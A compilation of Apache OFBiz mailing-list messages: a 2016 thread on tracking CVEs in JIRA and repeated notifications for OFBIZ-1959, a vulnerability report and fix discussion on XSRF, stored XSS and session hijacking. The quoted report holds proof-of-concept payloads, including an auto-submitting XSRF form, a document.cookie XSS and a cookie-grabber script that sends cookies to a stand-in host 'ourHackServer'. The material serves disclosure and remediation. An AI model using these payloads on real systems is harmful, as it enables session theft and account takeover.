Yes I agree with Jacopo, when can create the issue only when they are corrected Nicolas Le 29/11/2016 à 10:55, Jacopo Cappellato a écrit : We can definitely create one Jira ticket for each CVE number with all the details we want and link them from the "security" section of the OFBiz download page. This was probably implied in Pierre's proposal, but I prefer to explicitly state here: these tickets will be created only after the CVE are publicly disclosed (i.e. the tickets will be created and resolved at the same time). The good news is that we can create now all the tickets for the CVE processed so far in the history of OFBiz, in order to implement what Pierre has proposed here. Jacopo On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits wrote: Hi all, Recently we have seen some security issues fixed in the code base (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in identifying, analysing and fixing these OFBiz security threats. When I look at how we communicate to our adopters that there are threats and how they can be mitigated [1] I believe we could and we should do a little bit more. There we merely put a reference to the CVE [2] issue (see [3] for example) there and and advice to upgrade. But on that page we leave out any particulars on how the issue affected OFBiz and what was done to it. Rightly so as it is just a list of notifications. The details about the effect of the issue and the mitigation is in commits. But there is no apparent relation between the notification on [1] and the actual commit that mitigated. Also reporting the CVE in JIRA issues not optimal. This leads to the fact that details don't appear in release notes very well. I believe we could and should do better. We should *always* have a JIRA issue explaining the CVE issue and its effect on the OFBiz product, have it enhanced with the proper tags or labels (e.g. CVE/Security), and - like any other JIRA issue - have it showing with which commit(s) it has been resolved and on which branch it has been implemented. With a proper filter definition on JIRA we can then shorten the vulnerability section in [1] and have that link to that JIRA filter definition. What do you think? References: - [1] http://ofbiz.apache.org/download.html - [2] CVE: Common Vulnerability and Exposure - [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/
Re: OFBiz security issues
We can definitely create one Jira ticket for each CVE number with all the details we want and link them from the "security" section of the OFBiz download page. This was probably implied in Pierre's proposal, but I prefer to explicitly state here: these tickets will be created only after the CVE are publicly disclosed (i.e. the tickets will be created and resolved at the same time). The good news is that we can create now all the tickets for the CVE processed so far in the history of OFBiz, in order to implement what Pierre has proposed here. Jacopo On Tue, Nov 29, 2016 at 10:47 AM, Pierre Smits wrote: > Hi all, > > Recently we have seen some security issues fixed in the code base > (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in > identifying, analysing and fixing these OFBiz security threats. > > When I look at how we communicate to our adopters that there are threats > and how they can be mitigated [1] I believe we could and we should do a > little bit more. There we merely put a reference to the CVE [2] issue (see > [3] for example) there and and advice to upgrade. But on that page we leave > out any particulars on how the issue affected OFBiz and what was done to > it. Rightly so as it is just a list of notifications. > > The details about the effect of the issue and the mitigation is in commits. > But there is no apparent relation between the notification on [1] and the > actual commit that mitigated. Also reporting the CVE in JIRA issues not > optimal. This leads to the fact that details don't appear in release notes > very well. > > I believe we could and should do better. We should *always* have a JIRA > issue explaining the CVE issue and its effect on the OFBiz product, have it > enhanced with the proper tags or labels (e.g. CVE/Security), and - like any > other JIRA issue - have it showing with which commit(s) it has been > resolved and on which branch it has been implemented. > > With a proper filter definition on JIRA we can then shorten the > vulnerability section in [1] and have that link to that JIRA filter > definition. > > What do you think? > > References: > >- [1] http://ofbiz.apache.org/download.html >- [2] CVE: Common Vulnerability and Exposure >- [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 > > > Best regards, > > Pierre Smits > > ORRTIZ.COM <http://www.orrtiz.com> > OFBiz based solutions & services > > OFBiz Extensions Marketplace > http://oem.ofbizci.net/oci-2/ >
OFBiz security issues
Hi all, Recently we have seen some security issues fixed in the code base (CVE-2016-6800 and CVE-2016-4462). Thanks to all who participated in identifying, analysing and fixing these OFBiz security threats. When I look at how we communicate to our adopters that there are threats and how they can be mitigated [1] I believe we could and we should do a little bit more. There we merely put a reference to the CVE [2] issue (see [3] for example) there and and advice to upgrade. But on that page we leave out any particulars on how the issue affected OFBiz and what was done to it. Rightly so as it is just a list of notifications. The details about the effect of the issue and the mitigation is in commits. But there is no apparent relation between the notification on [1] and the actual commit that mitigated. Also reporting the CVE in JIRA issues not optimal. This leads to the fact that details don't appear in release notes very well. I believe we could and should do better. We should *always* have a JIRA issue explaining the CVE issue and its effect on the OFBiz product, have it enhanced with the proper tags or labels (e.g. CVE/Security), and - like any other JIRA issue - have it showing with which commit(s) it has been resolved and on which branch it has been implemented. With a proper filter definition on JIRA we can then shorten the vulnerability section in [1] and have that link to that JIRA filter definition. What do you think? References: - [1] http://ofbiz.apache.org/download.html - [2] CVE: Common Vulnerability and Exposure - [3] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6800 Best regards, Pierre Smits ORRTIZ.COM <http://www.orrtiz.com> OFBiz based solutions & services OFBiz Extensions Marketplace http://oem.ofbizci.net/oci-2/
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12707673#action_12707673 ] Sam Hamilton commented on OFBIZ-1959: - I am out of the office with no access to email until Monday 18th May - for any urgent issues issues please contact either Alex Duncan (alex.dun...@virtualvillage.com) or Andrea Schiffer (andrea.schif...@virtualvillage.com) > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Sub-task > Components: ALL COMPONENTS >Affects Versions: Release Branch 9.04, SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: Release Branch 9.04, SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http:
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jacques Le Roux updated OFBIZ-1959:
---
Issue Type: Sub-task (was: Bug)
Parent: OFBIZ-1525
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
>Affects Versions: Release Branch 9.04, SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
om token that would be valid for the rest of that session. Ie, we're back to square one. BTW, even if we go with this, it still isn't perfect. The random tokens would that an attacker would have to watch for responses as all tokens in requests would be invalidated unless they can keep that request from making it to the server (a real man-in-the-middle attack like that is a tough one to handle!). They would have to look at responses to get a token and the jsessionid and then send the forged request before the user hits another page. In other words, for all of this pain, especially not being able to use back or multiple tabs/windows, we effectively shorten the vulnerable time period and restrict the attack methods a bit. One thing that we could do to help with this problem, at least for secure pages, is to tighten things up a bit. I'm thinking of 2 things: 1. if a request has https=true then we will not accept http requests AT ALL, we will just return an error message (currently if it is a form submission we just accept it) 2. if a request has https=true we will ONLY pass encrypted data (ie body parameters, not URL parameters) to the service it calls; events may need to be changed to better support this since they have direct access to the request object, but for services we can easily filter this out; that means URL parameters will be ignored in secure requests that call services These things, and perhaps others, would help this problem a lot for secure requests. For non-secure requests... well they aren't very secure anyway! ... and they would continue to be more vulnerable to XSRF attacks too. Anyway, comments and suggestions would be well appreciated... -David > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: Release Branch 9.04, SVN trunk > Reporter: Michele Orru >Priority: Critical > Fix For: Release Branch 9.04, SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > pa
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Michele Orru updated OFBIZ-1959: Hi I had a bit of time this morning to check XSRF mitigation on ofbiz latest trunk revision (766265). I don't see anything related to this analyzing requests, so no random token added by the application to the resources/uri that can be called for a potential XSRF attack. For instance, after logging in the partymgr application, the createnewlogin URI is a sensitive one, and should be protected with a random token appended to it. GET /partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost:8080/partymgr/control/backHome;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1 Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin More than the GET request, the successive POST is dangerous without XSRF protections: POST /partymgr/control/createUserLogin HTTP/1.1 Host: localhost:8443 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://localhost:8443/partymgr/control/createnewlogin;jsessionid=BF7AEB9DD406B459E31BC234491970BC.jvm1?partyId=admin Cookie: JSESSIONID=BF7AEB9DD406B459E31BC234491970BC.jvm1; OFBiz.Visitor=10200; partymgr.autoUserLoginId=admin Content-Type: application/x-www-form-urlencoded Content-Length: 152 enabled=&partyId=admin&userLoginId=euronymous¤tPassword=euronymous666¤tPasswordVerify=euronymous666&passwordHint=e6+&requirePasswordChange=N My old XSRF demo is till working here: https://127.0.0.1:8443/catalog/control/createProduct";> document.xsrf.submit(); If open this page with the same browser you're currently logged in (for instance in the partymgr), the catalog login is proposed to you: you pass the credentials to ofbiz and the XSRF is working without any problem. david, what you said in comment of rev. 751501 is true, the patches to RequestHandler are OK, but as you can see here is enough to craft a XSRF directly to and https resource. Anyway, XSS has been fixed, XSRF is still working but is harder to exploit. Great work guys Michele Orru' > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: Release Branch 9.04, SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: Release Branch 9.04, SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The qui
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12700137#action_12700137
]
Jacques Le Roux commented on OFBIZ-1959:
Thanks for you help Michele!
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: Release Branch 9.04, SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
> docu
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Michele Orru updated OFBIZ-1959: Hi developers. As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk and I can see that XSS has been well mitigated... will test for XSRF asap. Lack of free time right now :( Good work David & Jaques All the best Michele > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: Release Branch 9.04, SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: Release Branch 9.04, SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > http://x.x.x.x/malicious.js";> > > The malicious code will look as the following one: > > > var > str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServle
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Jacques Le Roux updated OFBIZ-1959:
---
Affects Version/s: Release Branch 9.3
Fix Version/s: Release Branch 9.3
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: Release Branch 9.3, SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: Release Branch 9.3, SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
> document
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675958#action_12675958 ] Michele Orru commented on OFBIZ-1959: - Anyway...The hackaton idea is not bad! I really would like to do something like "Trying to subvert ofbiz for fun and profit" (joke, just Aleph1 citation). I think that what we are missing here, when trying to improve the security of Ofbiz, is the fragmented nature of some parts of the project. Basically David didn't solve all the XSS issues only because there are too many control points in the application, so put a filter here and there, such as in Freemarker logic, Service Validation layer or XML Form widget layer is not so easy and error-free. I also think that the best thing to do (at least from a security point of view) is to write a Wiki article about this, explaining well: - how David did the changes in the code (that's what I'm looking for, and they're are well coded), - how and when wrap a parameter in FreeMarker during development of custom FTLs, - how to configure services to override some parameter checking filtering HTML in a safe way, and so on... I will write this guide, cause I'm spending a lot of time with Ofbiz security (and That's really enjoyable...), and because I believe in the power of Ofbiz as ERP and ecommerce application (and because I don't want to put ModSecurity in front of each of our Ofbiz installations :) ). Well... > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the 